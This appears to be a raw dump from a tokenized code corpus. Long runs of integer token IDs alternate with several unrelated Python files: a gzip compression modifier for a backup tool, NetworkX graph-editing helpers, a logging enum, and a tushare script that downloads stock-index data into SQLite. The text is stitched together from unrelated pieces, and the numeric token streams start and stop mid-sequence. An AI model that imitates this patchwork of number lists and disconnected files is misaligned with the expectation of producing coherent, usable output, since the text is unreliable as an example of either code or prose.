12,
12,
29928,
353,
2313,
29879,
29898,
29883,
5380,
403,
29892,
1646,
401,
29897,
13,
12,
12,
12,
9295,
29924,
353,
518,
29519,
29879,
29918,
29875,
29892,
29928,
29892,
29519,
29879,
29918,
29926,
29962,
13,
12,
12,
12,
9295,
29924,
29879,
29889,
4397,
29898,
9295,
29924,
29897,
12,
12,
13,
12,
12,
1028,
550,
4619,
10638,
13,
12,
2457,
315,
17061,
29879,
29892,
1028,
550,
13,
13,
13,
1753,
679,
29918,
9295,
29924,
29879,
29898,
29875,
1125,
13,
12,
29883,
5380,
403,
353,
21669,
29961,
29875,
29962,
13,
12,
8690,
29896,
29918,
1646,
18137,
353,
731,
29898,
29519,
29879,
29918,
1609,
29918,
1066,
15625,
29883,
5380,
403,
29889,
305,
1758,
29892,
524,
29898,
29883,
5380,
403,
29889,
29875,
29914,
29934,
11877,
29934,
4638,
3124,
13,
12,
12,
29519,
29879,
29918,
1609,
29918,
1066,
15625,
29883,
5380,
403,
29889,
305,
1758,
29892,
524,
29898,
29883,
5380,
403,
29889,
29875,
29914,
29934,
11877,
29934,
29899,
29934,
4638,
29974,
29519,
29879,
29918,
1609,
29918,
1066,
15625,
29883,
5380,
403,
29889,
305,
1758,
29892,
524,
29898,
29883,
5380,
403,
29889,
29875,
29914,
29934,
11877,
29934,
29974,
29934,
29897,
2314,
13,
12,
8690,
29906,
29918,
1646,
18137,
353,
731,
29898,
1761,
29898,
29519,
29879,
29918,
1609,
29918,
1066,
15625,
29883,
5380,
403,
29889,
4622,
305,
1758,
29892,
524,
29898,
29883,
5380,
403,
29889,
29926,
29914,
29934,
11877,
29934,
29897,
2314,
3124,
13,
12,
12,
29519,
29879,
29918,
1609,
29918,
1066,
15625,
29883,
5380,
403,
29889,
4622,
305,
1758,
29892,
524,
29898,
29883,
5380,
403,
29889,
29926,
29914,
29934,
11877,
29934,
29899,
29934,
4638,
29974,
29519,
29879,
29918,
1609,
29918,
1066,
15625,
29883,
5380,
403,
29889,
4622,
305,
1758,
29892,
524,
29898,
29883,
5380,
403,
29889,
29926,
29914,
29934,
11877,
29934,
29974,
29934,
29897,
2314,
13,
12,
9295,
29924,
29879,
29892,
1028,
550,
353,
679,
29918,
29519,
29879,
29898,
29883,
5380,
403,
29892,
8690,
29896,
29918,
1646,
18137,
29889,
1639,
2042,
29898,
8690,
29906,
29918,
1646,
18137,
876,
13,
12,
1989,
353,
313,
29883,
5380,
403,
29889,
29875,
29892,
29883,
5380,
403,
29889,
29926,
29892,
29883,
5380,
403,
29889,
12236,
29897,
13,
12,
2457,
1820,
29892,
9295,
29924,
29879,
29892,
1028,
550,
13,
13,
1753,
6088,
29918,
9295,
29924,
29879,
29898,
497,
29918,
9295,
29924,
29879,
1125,
13,
12,
10945,
315,
17061,
29879,
29918,
1609,
29918,
29883,
392,
13,
12,
1454,
1820,
29892,
9295,
29924,
29879,
29892,
1028,
550,
297,
599,
29918,
9295,
29924,
29879,
29901,
13,
12,
12,
9295,
29924,
29879,
29918,
1609,
29918,
29883,
392,
29961,
1989,
29962,
353,
518,
9295,
29924,
29879,
29892,
1028,
550,
29962,
13,
13,
13,
1753,
679,
29918,
497,
29918,
9295,
29924,
29879,
7295,
13,
12,
10945,
315,
17061,
29879,
29918,
1609,
29918,
29883,
392,
13,
12,
9295,
29924,
29879,
29918,
1609,
29918,
29883,
392,
353,
9657,
580,
13,
12,
361,
451,
338,
29918,
1639,
27433,
470,
28019,
29918,
4690,
16310,
29903,
1275,
29871,
29896,
29901,
13,
12,
12,
497,
29918,
9295,
29924,
29879,
353,
5159,
13,
12,
12,
1454,
474,
297,
3464,
29898,
2435,
29898,
29883,
5380,
1078,
22164,
13,
12,
12,
12,
1989,
29892,
9295,
29924,
29879,
29892,
1028,
550,
353,
679,
29918,
9295,
29924,
29879,
29898,
29875,
29897,
13,
12,
12,
12,
9295,
29924,
29879,
29918,
1609,
29918,
29883,
392,
29961,
1989,
29962,
353,
518,
9295,
29924,
29879,
29892,
1028,
550,
29962,
13,
12,
23681,
338,
29918,
1639,
27433,
322,
28019,
29918,
4690,
16310,
29903,
2804,
29871,
29896,
29901,
13,
12,
12,
10109,
353,
22326,
29889,
11426,
29898,
1195,
29898,
29945,
29892,
13967,
29918,
4690,
16310,
29903,
511,
655,
486,
1278,
29879,
546,
5145,
29922,
29896,
29897,
13,
12,
12,
1958,
29918,
9144,
353,
11565,
29889,
1958,
13,
12,
12,
497,
29918,
9295,
29924,
29879,
353,
2910,
29918,
9144,
29898,
657,
29918,
9295,
29924,
29879,
29892,
3881,
29898,
2435,
29898,
29883,
5380,
1078,
4961,
13,
12,
12,
5510,
29918,
9295,
29924,
29879,
29898,
497,
29918,
9295,
29924,
29879,
29897,
13,
12,
12,
10109,
29889,
5358,
580,
13,
12,
12,
10109,
29889,
7122,
580,
13,
13,
13,
1753,
679,
29918,
29883,
392,
29918,
13628,
29898,
29883,
4167,
1125,
13,
12,
10945,
21669,
13,
12,
29883,
5380,
1078,
353,
274,
4167,
13,
13,
12,
361,
451,
338,
29918,
1639,
27433,
470,
28019,
29918,
4690,
16310,
29903,
1275,
29871,
29896,
29901,
13,
12,
12,
1958,
29918,
9144,
353,
2910,
13,
12,
23681,
338,
29918,
1639,
27433,
322,
28019,
29918,
4690,
16310,
29903,
2804,
29871,
29896,
29901,
13,
12,
12,
10109,
353,
22326,
29889,
11426,
29898,
1195,
29898,
29945,
29892,
13967,
29918,
4690,
16310,
29903,
511,
655,
486,
1278,
29879,
546,
5145,
29922,
29896,
29897,
13,
12,
12,
1958,
29918,
9144,
353,
11565,
29889,
1958,
13,
12,
1557,
2361,
353,
2910,
29918,
9144,
29898,
13628,
29918,
18784,
29892,
3881,
29898,
2435,
29898,
29883,
5380,
1078,
4961,
13,
12,
361,
338,
29918,
1639,
27433,
322,
28019,
29918,
4690,
16310,
29903,
2804,
29871,
29896,
29901,
13,
12,
12,
10109,
29889,
5358,
580,
13,
12,
12,
10109,
29889,
7122,
580,
13,
13,
12,
27487,
353,
5159,
13,
12,
1454,
1900,
29892,
29883,
5380,
403,
297,
19435,
29901,
13,
12,
12,
13318,
29889,
657,
29918,
13628,
580,
13,
12,
12,
361,
1900,
29889,
29886,
7121,
1405,
29871,
29900,
322,
1900,
29889,
13628,
1405,
448,
7411,
877,
7192,
29374,
13,
12,
12,
12,
2267,
353,
518,
13318,
29889,
305,
1758,
29896,
29892,
13318,
29889,
8690,
29896,
29892,
13318,
29889,
305,
1758,
29906,
29892,
13318,
29889,
8690,
29906,
10062,
1839,
5451,
29918,
29885,
3775,
11283,
29974,
710,
29898,
13318,
29889,
29886,
7121,
4638,
29974,
1839,
2218,
16090,
1934,
11283,
29974,
710,
29898,
13318,
29889,
2218,
29883,
4638,
3124,
13,
12,
12,
12,
1839,
12236,
11283,
29974,
29883,
5380,
403,
29889,
12236,
5501,
4252,
11283,
29974,
710,
29898,
13318,
29889,
4252,
29961,
29900,
2314,
29974,
3788,
29974,
710,
29898,
13318,
29889,
4252,
29961,
29896,
11724,
29915,
13628,
11283,
29974,
710,
29898,
13318,
29889,
13628,
4638,
13,
12,
12,
12,
27487,
29889,
4397,
29898,
2267,
29897,
13,
12,
2457,
337,
1372,
13,
13,
13,
13,
13,
13,
13,
1753,
8500,
29918,
29940,
2887,
29898,
949,
29879,
29918,
1609,
29918,
29212,
29892,
29880,
2288,
29918,
1609,
29918,
1066,
29892,
4205,
2395,
29918,
1609,
29918,
1646,
401,
29892,
29883,
5380,
1078,
29892,
29886,
29918,
2435,
29892,
29886,
29918,
10492,
29892,
24542,
29892,
1639,
27433,
1125,
13,
12,
10945,
301,
3317,
29892,
572,
264,
29892,
558,
403,
29892,
2218,
2395,
29918,
1609,
29918,
1646,
401,
29892,
29519,
29879,
29918,
1609,
29918,
1066,
29892,
27433,
29918,
13140,
29892,
275,
29918,
1639,
27433,
13,
12,
10945,
365,
29934,
29879,
29918,
1609,
29918,
1066,
29892,
949,
29879,
29918,
1609,
29918,
29519,
29892,
2218,
2395,
29918,
1609,
29918,
1646,
401,
13,
12,
29519,
29879,
29918,
1609,
29918,
1066,
29892,
949,
29879,
29918,
1609,
29918,
29519,
29892,
2218,
2395,
29918,
1609,
29918,
1646,
401,
353,
301,
2288,
29918,
1609,
29918,
1066,
29892,
949,
29879,
29918,
1609,
29918,
29212,
29892,
4205,
2395,
29918,
1609,
29918,
1646,
401,
13,
12,
275,
29918,
1639,
27433,
353,
1006,
27433,
13,
12,
572,
264,
353,
282,
29918,
2435,
13,
12,
558,
403,
353,
282,
29918,
10492,
13,
12,
1557,
2361,
353,
5159,
13,
13,
12,
1557,
2361,
4619,
679,
29918,
29883,
392,
29918,
13628,
29898,
29883,
5380,
1078,
29897,
13,
12,
1557,
2361,
353,
518,
29916,
363,
921,
297,
19435,
565,
921,
29962,
13,
12,
1557,
2361,
353,
24382,
29898,
1557,
2361,
29892,
386,
12268,
29898,
24542,
876,
13,
12,
2457,
19435,
13,
13,
13,
13,
2
] |
twindb_backup/modifiers/gzip.py | akuzminsky/twindb-mysql-backup | 1 | 14279 | <gh_stars>1-10
# -*- coding: utf-8 -*-
"""
Module defines modifier that compresses a stream with gzip
"""
from contextlib import contextmanager
from subprocess import Popen, PIPE
from twindb_backup.modifiers.base import Modifier
class Gzip(Modifier):
"""
Modifier that compresses the input_stream with gzip.
"""
@contextmanager
def get_stream(self):
"""
Compress the input stream and return it as the output stream
:return: output stream handle
:raise: OSError if failed to call the gzip command
"""
with self.input as input_stream:
proc = Popen(['gzip', '-c', '-'],
stdin=input_stream,
stdout=PIPE)
yield proc.stdout
proc.communicate()
def revert_stream(self):
"""
Decompress the input stream and return it as the output stream
:return: output stream handle
:raise: OSError if failed to call the gpg command
"""
return self._revert_stream(['gunzip', '-c'])
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29896,
29899,
29896,
29900,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
13,
7355,
17645,
878,
3709,
393,
27122,
267,
263,
4840,
411,
330,
7554,
13,
15945,
29908,
13,
3166,
3030,
1982,
1053,
3030,
12847,
13,
3166,
1014,
5014,
1053,
349,
3150,
29892,
349,
29902,
4162,
13,
13,
3166,
3252,
513,
29890,
29918,
1627,
786,
29889,
1545,
14903,
29889,
3188,
1053,
3382,
3709,
13,
13,
13,
1990,
402,
7554,
29898,
2111,
3709,
1125,
13,
1678,
9995,
13,
1678,
3382,
3709,
393,
27122,
267,
278,
1881,
29918,
5461,
411,
330,
7554,
29889,
13,
1678,
9995,
13,
13,
1678,
732,
4703,
12847,
13,
1678,
822,
679,
29918,
5461,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
422,
2139,
278,
1881,
4840,
322,
736,
372,
408,
278,
1962,
4840,
13,
13,
4706,
584,
2457,
29901,
1962,
4840,
4386,
13,
4706,
584,
22692,
29901,
438,
29173,
565,
5229,
304,
1246,
278,
330,
7554,
1899,
13,
4706,
9995,
13,
4706,
411,
1583,
29889,
2080,
408,
1881,
29918,
5461,
29901,
13,
9651,
9580,
353,
349,
3150,
18959,
29887,
7554,
742,
17411,
29883,
742,
17411,
7464,
13,
462,
308,
3659,
262,
29922,
2080,
29918,
5461,
29892,
13,
462,
308,
27591,
29922,
2227,
4162,
29897,
13,
9651,
7709,
9580,
29889,
25393,
13,
9651,
9580,
29889,
27820,
403,
580,
13,
13,
1678,
822,
29538,
29918,
5461,
29898,
1311,
1125,
13,
4706,
9995,
13,
4706,
897,
510,
2139,
278,
1881,
4840,
322,
736,
372,
408,
278,
1962,
4840,
13,
13,
4706,
584,
2457,
29901,
1962,
4840,
4386,
13,
4706,
584,
22692,
29901,
438,
29173,
565,
5229,
304,
1246,
278,
330,
4061,
1899,
13,
4706,
9995,
13,
4706,
736,
1583,
3032,
276,
1765,
29918,
5461,
18959,
28798,
7554,
742,
17411,
29883,
11287,
13,
2
] |
DataAnalysis/GraphTools/GraphEditingTools.py | AdamSwenson/TwitterProject | 0 | 90832 | """
Tools for editing and reshaping graphs
"""
import networkx as nx
def prune_below_degree(graph, minimum_degree=1):
"""
Trim nodes from graph below threshold
Args:
graph: NetworkX graph object to prune
minimum_degree: Integer of the minimum connections a node must have
Returns:
Filtered graph object
"""
g2 = graph.copy()
d = nx.degree(g2)
for n in g2.nodes():
if d[n] <= minimum_degree: g2.remove_node(n)
return g2
def remove_irrelevant_terms(graph, irrelevant_terms):
"""
This will prune out irrelevant terms and return a copy of the graph without those nodes
Args:
graph: Networkx object
irrelevant_terms: Iterable giving irrelevant terms. Usually ConstantsAndUtilities.Ignore.iterable
Returns:
Pruned graph
"""
graph.remove_nodes_from(irrelevant_terms)
return graph
def merge_nodes(graph, nodes, new_node, attr_dict=None, **attr):
"""
This is a function to merge several nodes into one in a Networkx graph
Merges the selected `nodes` of the graph G into one `new_node`,
meaning that all the edges that pointed to or from one of these
`nodes` will point to or from the `new_node`.
attr_dict and **attr are defined as in `G.add_node`.
"""
G = graph.copy()
G.add_node(new_node, attr_dict, **attr) # Add the 'merged' node
for n1,n2,data in G.edges(data=True):
# For all edges related to one of the nodes to merge,
# make an edge going to or coming from the `new gene`.
if n1 in nodes:
G.add_edge(new_node,n2,data)
elif n2 in nodes:
G.add_edge(n1,new_node,data)
for n in nodes: # remove the merged nodes
G.remove_node(n)
return G
def merge_from_list(graph, merge_dict):
"""
This merges nodes in a graph based on a dictionary giving mappings
Args:
graph: Networkx graph object to modify
merge_dict: A dictionary with the mappings. Usually this is ConstantsAndUtilities.Merge.toMerge
Returns:
Updated graph object
"""
for k in list(merge_dict.keys()):
graph = merge_nodes(graph, merge_dict[k], k)
return graph
if __name__ == '__main__':
pass
| [
1,
9995,
13,
24183,
363,
16278,
322,
620,
29882,
21430,
18445,
13,
15945,
29908,
13,
13,
5215,
3564,
29916,
408,
302,
29916,
13,
13,
13,
1753,
544,
1540,
29918,
22503,
29918,
12163,
929,
29898,
4262,
29892,
9212,
29918,
12163,
929,
29922,
29896,
1125,
13,
1678,
9995,
13,
1678,
1605,
326,
7573,
515,
3983,
2400,
16897,
13,
268,
13,
1678,
826,
3174,
29901,
13,
4706,
3983,
29901,
8527,
29990,
3983,
1203,
304,
544,
1540,
13,
4706,
9212,
29918,
12163,
929,
29901,
8102,
310,
278,
9212,
12368,
263,
2943,
1818,
505,
13,
268,
13,
1678,
16969,
29901,
13,
4706,
19916,
287,
3983,
1203,
13,
1678,
9995,
13,
1678,
330,
29906,
353,
3983,
29889,
8552,
580,
13,
1678,
270,
353,
302,
29916,
29889,
12163,
929,
29898,
29887,
29906,
29897,
13,
1678,
363,
302,
297,
330,
29906,
29889,
18010,
7295,
13,
4706,
565,
270,
29961,
29876,
29962,
5277,
9212,
29918,
12163,
929,
29901,
330,
29906,
29889,
5992,
29918,
3177,
29898,
29876,
29897,
13,
1678,
736,
330,
29906,
13,
13,
13,
1753,
3349,
29918,
381,
276,
6591,
29918,
357,
1516,
29898,
4262,
29892,
28190,
29918,
357,
1516,
1125,
13,
1678,
9995,
13,
1678,
910,
674,
544,
1540,
714,
28190,
4958,
322,
736,
263,
3509,
310,
278,
3983,
1728,
1906,
7573,
13,
268,
13,
1678,
826,
3174,
29901,
13,
4706,
3983,
29901,
8527,
29916,
1203,
13,
4706,
28190,
29918,
357,
1516,
29901,
20504,
519,
6820,
28190,
4958,
29889,
26991,
5798,
1934,
2855,
7270,
1907,
29889,
23805,
29889,
1524,
519,
13,
268,
13,
1678,
16969,
29901,
13,
4706,
1588,
348,
287,
3983,
13,
1678,
9995,
13,
1678,
3983,
29889,
5992,
29918,
18010,
29918,
3166,
29898,
381,
276,
6591,
29918,
357,
1516,
29897,
13,
1678,
736,
3983,
13,
13,
13,
1753,
10366,
29918,
18010,
29898,
4262,
29892,
7573,
29892,
716,
29918,
3177,
29892,
12421,
29918,
8977,
29922,
8516,
29892,
3579,
5552,
1125,
13,
1678,
9995,
13,
1678,
910,
338,
263,
740,
304,
10366,
3196,
7573,
964,
697,
297,
263,
8527,
29916,
3983,
29871,
13,
1678,
4702,
2710,
278,
4629,
421,
18010,
29952,
310,
278,
3983,
402,
964,
697,
421,
1482,
29918,
3177,
1673,
13,
1678,
6593,
393,
599,
278,
12770,
393,
11520,
304,
470,
515,
697,
310,
1438,
13,
1678,
421,
18010,
29952,
674,
1298,
304,
470,
515,
278,
421,
1482,
29918,
3177,
1412,
13,
1678,
12421,
29918,
8977,
322,
3579,
5552,
526,
3342,
408,
297,
421,
29954,
29889,
1202,
29918,
3177,
1412,
13,
1678,
9995,
13,
1678,
402,
353,
3983,
29889,
8552,
580,
13,
1678,
402,
29889,
1202,
29918,
3177,
29898,
1482,
29918,
3177,
29892,
12421,
29918,
8977,
29892,
3579,
5552,
29897,
396,
3462,
278,
525,
1050,
3192,
29915,
2943,
13,
1678,
363,
302,
29896,
29892,
29876,
29906,
29892,
1272,
297,
402,
29889,
287,
2710,
29898,
1272,
29922,
5574,
1125,
13,
4706,
396,
1152,
599,
12770,
4475,
304,
697,
310,
278,
7573,
304,
10366,
29892,
13,
4706,
396,
1207,
385,
7636,
2675,
304,
470,
6421,
515,
278,
421,
1482,
18530,
1412,
13,
4706,
565,
302,
29896,
297,
7573,
29901,
13,
9651,
402,
29889,
1202,
29918,
12864,
29898,
1482,
29918,
3177,
29892,
29876,
29906,
29892,
1272,
29897,
13,
4706,
25342,
302,
29906,
297,
7573,
29901,
13,
9651,
402,
29889,
1202,
29918,
12864,
29898,
29876,
29896,
29892,
1482,
29918,
3177,
29892,
1272,
29897,
13,
1678,
363,
302,
297,
7573,
29901,
396,
3349,
278,
19412,
7573,
13,
4706,
402,
29889,
5992,
29918,
3177,
29898,
29876,
29897,
13,
1678,
736,
402,
13,
13,
13,
1753,
10366,
29918,
3166,
29918,
1761,
29898,
4262,
29892,
10366,
29918,
8977,
1125,
13,
1678,
9995,
13,
1678,
910,
2778,
2710,
7573,
297,
263,
3983,
2729,
373,
263,
8600,
6820,
611,
27775,
13,
268,
13,
1678,
826,
3174,
29901,
13,
4706,
3983,
29901,
8527,
29916,
3983,
1203,
304,
6623,
13,
4706,
10366,
29918,
8977,
29901,
319,
8600,
411,
278,
611,
27775,
29889,
26991,
445,
338,
5798,
1934,
2855,
7270,
1907,
29889,
15836,
479,
29889,
517,
15836,
479,
13,
268,
13,
1678,
16969,
29901,
13,
4706,
25723,
3983,
1203,
13,
1678,
9995,
13,
1678,
363,
413,
297,
1051,
29898,
14634,
29918,
8977,
29889,
8149,
580,
1125,
13,
4706,
3983,
353,
10366,
29918,
18010,
29898,
4262,
29892,
10366,
29918,
8977,
29961,
29895,
1402,
413,
29897,
13,
1678,
736,
3983,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
1209,
13,
2
] |
constants.py | andodevel/rmbg | 0 | 178590 | from enum import Enum
class TFLogLevel(Enum):
ALL = '0' # All
WARN = '1' # INFO not printed
ERROR = '2' # INFO and WARN not printed
OFF = '3' # OFF
CPU_DEVICE = "-1"
| [
1,
515,
14115,
1053,
1174,
398,
13,
13,
13,
1990,
323,
29943,
3403,
10108,
29898,
16854,
1125,
13,
1678,
15149,
353,
525,
29900,
29915,
29871,
396,
2178,
13,
1678,
399,
15249,
353,
525,
29896,
29915,
29871,
396,
15233,
451,
13350,
13,
1678,
14431,
353,
525,
29906,
29915,
29871,
396,
15233,
322,
399,
15249,
451,
13350,
13,
1678,
438,
4198,
353,
525,
29941,
29915,
29871,
396,
438,
4198,
13,
13,
13,
6271,
29965,
29918,
2287,
19059,
353,
11663,
29896,
29908,
13,
2
] |
Industry_index/indexget.py | wisonhang/Shiny_report | 0 | 100821 | <gh_stars>0
import tushare as ts
import os
import pandas as pd
import numpy as np
from datetime import datetime as dt
from datetime import timedelta
import urllib
import csv
import datetime
import json
import sqlite3
import time
import schedule
os.chdir('/home/dwhang/project/dwhang/Industry_index/')
def index_download(code=''):
hostname=url='http://www.csindex.com.cn/uploads/file/autofile/cons/%s'
dis='/home/dwhang/project/dwhang/Industry_index/content'
tt=code+'cons.xls'
os.chdir(dis)
url=hostname%tt
try:
req = urllib.request.Request(url)
webpage = urllib.request.urlopen(req)
except Exception as e:
print(code +' does not exist')
pass
else:
filename=tt.replace('cons','')
f=open(filename,'wb')
ans = webpage.read()
f.write(ans)
f.close()
temp=pd.read_excel(filename,dtype={'成分券代码Constituent Code':str})
temp=temp.iloc[:,[0,2,4,5]]
temp.columns=['日期','指数名称','成分券代码','成分券名称']
temp=temp.set_index('日期')
temp.to_csv(filename.replace('xls','csv'),encoding='utf-8')
os.remove(filename)
def get_hist_data(code,b):
temp=pd.DataFrame()
try:
temp=ts.get_k_data(code,index=True)
#temp['指数名称']=b
#temp['指数代码']=a
temp=temp.set_index('date')
temp.to_csv(dis+code+'.csv',encoding='utf-8')
except Exception as e:
print(e)
'''
def indexdate_update():
newstart=dt.strptime(pd.read_csv('data/'+
os.listdir('data/')[0])['date'].tail(1).values[0],'%Y-%m-%d')
if dt.now()<=newstart+timedelta(2):
print('Already New data')
else:
for filename in os.listdir('data/'):
new_index=ts.get_k_data(filename.replace('.csv',''),index=True,start=str(newstart+timedelta(1+2/3))
if(new_index.shape[0]==0):
print('no update data')
break
else:
with open('data/'+filename, 'a', newline='') as f:
writer = csv.DictWriter(f, fieldnames=['date', 'open', 'close', 'high', 'low', 'volume', 'code'])
writer.writerows(json.loads(new_index.to_json(orient='records')))
print('finish update',filename)
'''
def historical_intinal():
con=sqlite3.connect('index_database.db')
stock_info=pd.read_csv('index.csv',dtype={'指数代码':str}).set_index('指数代码')
for code in stock_info.index:
try:
temp=ts.get_k_data(code,index=True,start='2006-01-01',pause=1)
temp['date']=temp['date'].map(lambda x: dt.strptime(x,'%Y-%m-%d'))
temp.to_sql(code,con,if_exists='replace',index=False)
except:
print(code)
next
def historical_update():
con=sqlite3.connect('index_database.db')
cursor = con.cursor()
cursor=cursor.execute("SELECT name FROM sqlite_master WHERE type='table'")
tables=list(cursor.fetchall())
weekday=dt.today().weekday()
hour=dt.today().hour
if weekday<=5 & hour <=15 & hour>=9:
print(weekday,hour)
print('It is trading time, please update later')
return
for code_name in tables:
code=code_name[0]
query='select * from "code" order by date desc limit 5'
data=pd.read_sql(query.replace('code',code),con)
start=data.date.head(1).values[0]
try:
temp=ts.get_k_data(code,index=True,start=start)
temp['date']=temp['date'].map(lambda x: dt.strptime(x,'%Y-%m-%d'))
except Exception as e:
print(e)
return
else:
if start in set(temp['date'].astype(str)):
if data.close.head(1)[0]==temp.close.iloc[0]:
temp=temp.drop(temp.index[0])
temp.to_sql(code,con,if_exists='append',index=False)
else:
temp=ts.get_k_data(code,index=True,start='2006-01-01')
temp['date']=temp['date'].map(lambda x: dt.strptime(x,'%Y-%m-%d'))
temp.to_sql(code,con,if_exists='replace',index=False)
elif len(temp)>0:
temp.to_sql(code,con,if_exists='append',index=False)
print(code,start)
def historical_update2():
con=sqlite3.connect('index_database.db')
cursor = con.cursor()
cursor=cursor.execute("SELECT name FROM sqlite_master WHERE type='table'")
tables=list(cursor.fetchall())
weekday=dt.today().weekday()
hour=dt.today().hour+8
if weekday<=5 and hour <=15 and hour>=9:
print(weekday,hour)
print('It is trading time, please update later')
#return
for code_name in tables:
time.sleep(10)
code=code_name[0]
query='select * from "code" order by date desc limit 5'
data=pd.read_sql(query.replace('code',code),con)
start=data.date.head(1).values[0]
try:
temp=ts.get_h_data(code,index=True,start=start,pause=10).reset_index().sort_values('date')
temp['code']=data['code'][0]
temp['volume']=temp['volume']/100
temp=temp.drop('amount',axis=1)
except Exception as e:
print(e)
#return
else:
if start in list(temp['date'].map(lambda x: str(x))):
if np.round(data.close.head(1)[0],2)==np.round(temp.close.iloc[0],2):
temp=temp.drop(temp.index[0])
temp.to_sql(code,con,if_exists='append',index=False)
else:
temp=ts.get_h_data(code,index=True,start='2006-01-01',pause=100).reset_index().sort_values('date')
temp['code']=data['code'][0]
temp['volume']=temp['volume']/100
temp=temp.drop('amount',axis=1)
temp.to_sql(code,con,if_exists='replace',index=False)
elif len(temp)>0:
temp.to_sql(code,con,if_exists='append',index=False)
print(code,start)
def content_update():
index_info=pd.read_csv('index.csv',dtype={'指数代码':str}).指数代码
for code in index_info:
index_download(code=code)
'''
dis=os.getcwd()+'/data/'
data=pd.read_csv('index.csv',index_col=0,dtype={'指数代码':str})
for a in data['指数代码']:
get_hist_data(a,b=None)
'''
if __name__ == "__main__":
#path=os.getcwd()
#os.chdir(path+'/Data')
historical_update()
# schedule.every().day.at('00:00').do(historical_update)
# while True:
# schedule.run_pending()
# time.sleep(10)
#historical_update()
#indexdate_update()
| [
1,
529,
12443,
29918,
303,
1503,
29958,
29900,
13,
5215,
260,
1878,
598,
408,
18696,
13,
5215,
2897,
29871,
13,
5215,
11701,
408,
10518,
13,
5215,
12655,
408,
7442,
13,
3166,
12865,
1053,
12865,
408,
11636,
13,
3166,
12865,
1053,
5335,
287,
2554,
13,
5215,
3142,
1982,
13,
5215,
11799,
13,
5215,
12865,
13,
5215,
4390,
13,
5215,
21120,
29941,
13,
5215,
931,
13,
5215,
20410,
13,
359,
29889,
305,
3972,
11219,
5184,
29914,
29881,
1332,
574,
29914,
4836,
29914,
29881,
1332,
574,
29914,
2568,
504,
719,
29918,
2248,
29914,
1495,
13,
1753,
2380,
29918,
10382,
29898,
401,
2433,
29374,
13,
1678,
3495,
978,
29922,
2271,
2433,
1124,
597,
1636,
29889,
2395,
2248,
29889,
510,
29889,
18038,
29914,
9009,
29879,
29914,
1445,
29914,
1300,
974,
488,
29914,
3200,
22584,
29879,
29915,
13,
1678,
766,
2433,
29914,
5184,
29914,
29881,
1332,
574,
29914,
4836,
29914,
29881,
1332,
574,
29914,
2568,
504,
719,
29918,
2248,
29914,
3051,
29915,
13,
1678,
260,
29873,
29922,
401,
23097,
3200,
29889,
20267,
29915,
13,
1678,
2897,
29889,
305,
3972,
29898,
2218,
29897,
13,
1678,
3142,
29922,
28988,
29995,
698,
13,
1678,
1018,
29901,
13,
4706,
12428,
353,
3142,
1982,
29889,
3827,
29889,
3089,
29898,
2271,
29897,
13,
4706,
24499,
353,
3142,
1982,
29889,
3827,
29889,
332,
417,
2238,
29898,
7971,
29897,
259,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
1596,
29898,
401,
718,
29915,
947,
451,
1863,
1495,
13,
4706,
1209,
13,
1678,
1683,
29901,
13,
4706,
10422,
29922,
698,
29889,
6506,
877,
3200,
3788,
1495,
13,
4706,
285,
29922,
3150,
29898,
9507,
5501,
29893,
29890,
1495,
13,
4706,
6063,
353,
24499,
29889,
949,
580,
29871,
13,
4706,
285,
29889,
3539,
29898,
550,
29897,
13,
4706,
285,
29889,
5358,
580,
13,
4706,
5694,
29922,
15926,
29889,
949,
29918,
24633,
29898,
9507,
29892,
29881,
1853,
3790,
29915,
30494,
30748,
232,
139,
187,
30690,
31183,
12075,
1981,
296,
5920,
2396,
710,
1800,
13,
4706,
5694,
29922,
7382,
29889,
309,
542,
7503,
17094,
29900,
29892,
29906,
29892,
29946,
29892,
29945,
5262,
13,
4706,
5694,
29889,
13099,
29922,
1839,
30325,
31117,
3788,
31084,
30354,
30548,
31685,
3788,
30494,
30748,
232,
139,
187,
30690,
31183,
3788,
30494,
30748,
232,
139,
187,
30548,
31685,
2033,
13,
4706,
5694,
29922,
7382,
29889,
842,
29918,
2248,
877,
30325,
31117,
1495,
13,
4706,
5694,
29889,
517,
29918,
7638,
29898,
9507,
29889,
6506,
877,
20267,
3788,
7638,
5477,
22331,
2433,
9420,
29899,
29947,
1495,
13,
4706,
2897,
29889,
5992,
29898,
9507,
29897,
13,
13,
1753,
679,
29918,
29882,
391,
29918,
1272,
29898,
401,
29892,
29890,
1125,
13,
1678,
5694,
29922,
15926,
29889,
17271,
580,
13,
1678,
1018,
29901,
13,
4706,
5694,
29922,
1372,
29889,
657,
29918,
29895,
29918,
1272,
29898,
401,
29892,
2248,
29922,
5574,
29897,
13,
4706,
396,
7382,
1839,
31084,
30354,
30548,
31685,
2033,
29922,
29890,
13,
4706,
396,
7382,
1839,
31084,
30354,
30690,
31183,
2033,
29922,
29874,
13,
4706,
5694,
29922,
7382,
29889,
842,
29918,
2248,
877,
1256,
1495,
13,
4706,
5694,
29889,
517,
29918,
7638,
29898,
2218,
29974,
401,
29974,
4286,
7638,
742,
22331,
2433,
9420,
29899,
29947,
1495,
13,
1678,
5174,
8960,
408,
321,
29901,
13,
4706,
1596,
29898,
29872,
29897,
13,
12008,
308,
13,
1753,
2380,
1256,
29918,
5504,
7295,
13,
1678,
716,
2962,
29922,
6008,
29889,
710,
415,
603,
29898,
15926,
29889,
949,
29918,
7638,
877,
1272,
29914,
18717,
13,
462,
462,
965,
2897,
29889,
1761,
3972,
877,
1272,
29914,
29861,
29900,
2314,
1839,
1256,
13359,
18237,
29898,
29896,
467,
5975,
29961,
29900,
1402,
29915,
29995,
29979,
19222,
29885,
19222,
29881,
1495,
13,
1678,
565,
11636,
29889,
3707,
580,
14065,
1482,
2962,
29974,
9346,
287,
2554,
29898,
29906,
1125,
13,
4706,
1596,
877,
2499,
2040,
1570,
848,
1495,
13,
1678,
1683,
29901,
13,
4706,
363,
10422,
297,
2897,
29889,
1761,
3972,
877,
1272,
22208,
1125,
13,
9651,
716,
29918,
2248,
29922,
1372,
29889,
657,
29918,
29895,
29918,
1272,
29898,
9507,
29889,
6506,
12839,
7638,
3788,
5477,
2248,
29922,
5574,
29892,
2962,
29922,
710,
29898,
1482,
2962,
29974,
9346,
287,
2554,
29898,
29896,
29974,
29906,
29914,
29941,
876,
13,
9651,
565,
29898,
1482,
29918,
2248,
